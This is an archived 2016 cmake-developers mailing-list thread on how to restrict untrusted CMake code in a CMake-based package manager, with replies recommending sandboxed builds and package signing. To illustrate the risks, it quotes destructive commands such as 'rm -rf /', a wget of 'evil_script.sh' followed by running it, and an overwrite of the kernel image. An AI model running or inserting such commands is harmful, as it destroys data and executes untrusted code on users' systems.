Re: [cmake-developers] Security in CMake
CMake is not and can never be a replacement for a package manager. They serve entirely different roles. While you can extend CMake to give it the ability to build and install all sorts stuff, that does not make it a package manager. It's a convenient way to build a complex set of interdependent packages, but that's all it is. I think trying to make it do more than that is dangerous; it's currently got a fairly clearly defined scope, and there are numerous established tools to take care of packaging. Basically, I do worry about the potential for scope creep here. Speaking from my own experience as one of the main authors of the Debian build tools (sbuild, schroot): - every package is built individually in a secure sandbox which is created before the build and deleted after it. I wrote a tool specifically for this purpose (schroot)--predating docker, openstack and all the current hip stuff. You should probably use a more up to date technology yourself; the main point I wanted to make was the isolation of the filesystem, network, user etc. for the build step; we run the build step without any functional networking other than the loopback to ensure every package cleanly builds as a self-contained entity - a package might be using CMake for its build, inside the sandbox, but CMake has no involvement at a higher level This means that any malicious or accidental privilege escalation, file deletion or whatever is contained and will not cause problems. And if there is anything wrong, we blow the whole lot away as a matter of course anyway. - when the packaged binary is installed, there is no code execution outside the (optional) maintainer scripts; everything else is just a static set of files which get installed. This is completely decoupled from CMake, or whatever build system was used for the build step. When it comes to CMake building using a super-build and/or running find_package and executing third-party Config scripts, other CMake modules etc. this is clearly unsafe. There's clearly scope for unbounded code execution by this code. While these might be required for the build step, there's no need for them to have any influence or involvement for the package creation step and subsequent installation/upgrade/removal by the package manager. Regards, Roger On 20/08/16 22:42, Egor Pugin wrote: Hi Tobias, You are right at many points. It's hard to really secure the system from build system/build artifacts/3rd party apps. But step by step it's possible to decrease number of potential sources of vulnerabilities. Described cmake features would be very helpful for this. Right now I'm just investigating possible security improvements and this is only 'nice-to-have' feature. On 21 August 2016 at 00:25, Tobias Hungerwrote: Hi Egor, Am 20.08.2016 13:48 schrieb "Egor Pugin" : Hi, I'm working on a package manager based on cmake. And some cmake instructions are downloaded with user packages. I'd like to have an ability to deny some cmake features in such external untrusted insertions. I am no CMake expert, but you are talking about securing a program that is meant to take arbitrary input and run user-defined commands on that to produce possibly executable output. I do not see any safe subset of CMake commands that is still able to do anything useful. I can see a way for "insertions" to be useful, that does not involve them changing the configuration (e.g. for a cross compiler), involve running some 3rd party program (e.g. to add support for a new documentation system, parser generator or whatnot), or the production of build artifacts (e.g. build some library for the developer to use). *All* of these are inheritently unsafe. Configuration change: Change the C compiler to rm and pass force -rf -- / as flags. 3rd party program: Run rm -rf / when some certain input file is seen. Build artifacts: Put running rm -rf / into the binary/library so that this is run during normal development workflow. I would try to run my package manager in an environment where running rm -rf is harmless to the overall system health. Virtual machines or containers spring to mind there. Not sure that is feasible. Or come up with insertions signing, etc. so that users can at least know they got what was uploaded and know whom to blame when their systems get wiped. Beat Regards, Tobias -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to
Re: [cmake-developers] Security in CMake
Hi Tobias, You are right at many points. It's hard to really secure the system from build system/build artifacts/3rd party apps. But step by step it's possible to decrease number of potential sources of vulnerabilities. Described cmake features would be very helpful for this. Right now I'm just investigating possible security improvements and this is only 'nice-to-have' feature. On 21 August 2016 at 00:25, Tobias Hungerwrote: > Hi Egor, > > Am 20.08.2016 13:48 schrieb "Egor Pugin" : >> >> Hi, >> >> I'm working on a package manager based on cmake. >> And some cmake instructions are downloaded with user packages. >> I'd like to have an ability to deny some cmake features in such >> external untrusted insertions. > > I am no CMake expert, but you are talking about securing a program that is > meant to take arbitrary input and run user-defined commands on that to > produce possibly executable output. > > I do not see any safe subset of CMake commands that is still able to do > anything useful. > > I can see a way for "insertions" to be useful, that does not involve them > changing the configuration (e.g. for a cross compiler), involve running some > 3rd party program (e.g. to add support for a new documentation system, > parser generator or whatnot), or the production of build artifacts (e.g. > build some library for the developer to use). > > *All* of these are inheritently unsafe. > > Configuration change: Change the C compiler to rm and pass force -rf -- / as > flags. > > 3rd party program: Run rm -rf / when some certain input file is seen. > > Build artifacts: Put running rm -rf / into the binary/library so that this > is run during normal development workflow. > > I would try to run my package manager in an environment where running rm -rf > is harmless to the overall system health. Virtual machines or containers > spring to mind there. Not sure that is feasible. > > Or come up with insertions signing, etc. so that users can at least know > they got what was uploaded and know whom to blame when their systems get > wiped. > > Beat Regards, > Tobias -- Egor Pugin -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
Hi Egor, Am 20.08.2016 13:48 schrieb "Egor Pugin": > > Hi, > > I'm working on a package manager based on cmake. > And some cmake instructions are downloaded with user packages. > I'd like to have an ability to deny some cmake features in such > external untrusted insertions. I am no CMake expert, but you are talking about securing a program that is meant to take arbitrary input and run user-defined commands on that to produce possibly executable output. I do not see any safe subset of CMake commands that is still able to do anything useful. I can see a way for "insertions" to be useful, that does not involve them changing the configuration (e.g. for a cross compiler), involve running some 3rd party program (e.g. to add support for a new documentation system, parser generator or whatnot), or the production of build artifacts (e.g. build some library for the developer to use). *All* of these are inheritently unsafe. Configuration change: Change the C compiler to rm and pass force -rf -- / as flags. 3rd party program: Run rm -rf / when some certain input file is seen. Build artifacts: Put running rm -rf / into the binary/library so that this is run during normal development workflow. I would try to run my package manager in an environment where running rm -rf is harmless to the overall system health. Virtual machines or containers spring to mind there. Not sure that is feasible. Or come up with insertions signing, etc. so that users can at least know they got what was uploaded and know whom to blame when their systems get wiped. Beat Regards, Tobias -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
[cmake-developers] Security in CMake
Hi, I'm working on a package manager based on cmake. And some cmake instructions are downloaded with user packages. I'd like to have an ability to deny some cmake features in such external untrusted insertions. 1. Disable any COMMAND invokations (in exec[ute]_command, add_custom_command, add_custom_target etc.) 2. Disable any external_project downloads etc. 3. Disable specific cmake commands (e.g. file(WRITE ...) 4. add more potentially unsecure features here Potential vulnerabilities are (according to previous list): 1. Invocation of 'rm -rf' command. The dir can be / in sudo or ~ in user mode. 2. Downloading of unwanted scripts. Also applicable to 1). 3. Rewriting important system files (like /boot/kernel.image..., /lib/libc... etc) How it can be done? 1. Set a new policy? 2,3. Add new cmake command: enable_command(cmd, {On|Off}) Example: ... # trusted code above set_policy(disable COMMAND) # pseudo enable_command(file, Off) # untrusted ON execute_command( COMMAND wget http://.../evil_script.sh COMMAND ./evil_script.sh ) # will throw an error - COMMAND is denied file(WRITE /boot/vmlinuz-4.4.0-34-generic "") # will throw an error - file is banned # untrusted OFF enable_command(file, On) set_policy(enable COMMAND) # pseudo # trusted code below ... What do you think? Is it possible in the latest CMake? Or can it be added in the future? -- Egor Pugin -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers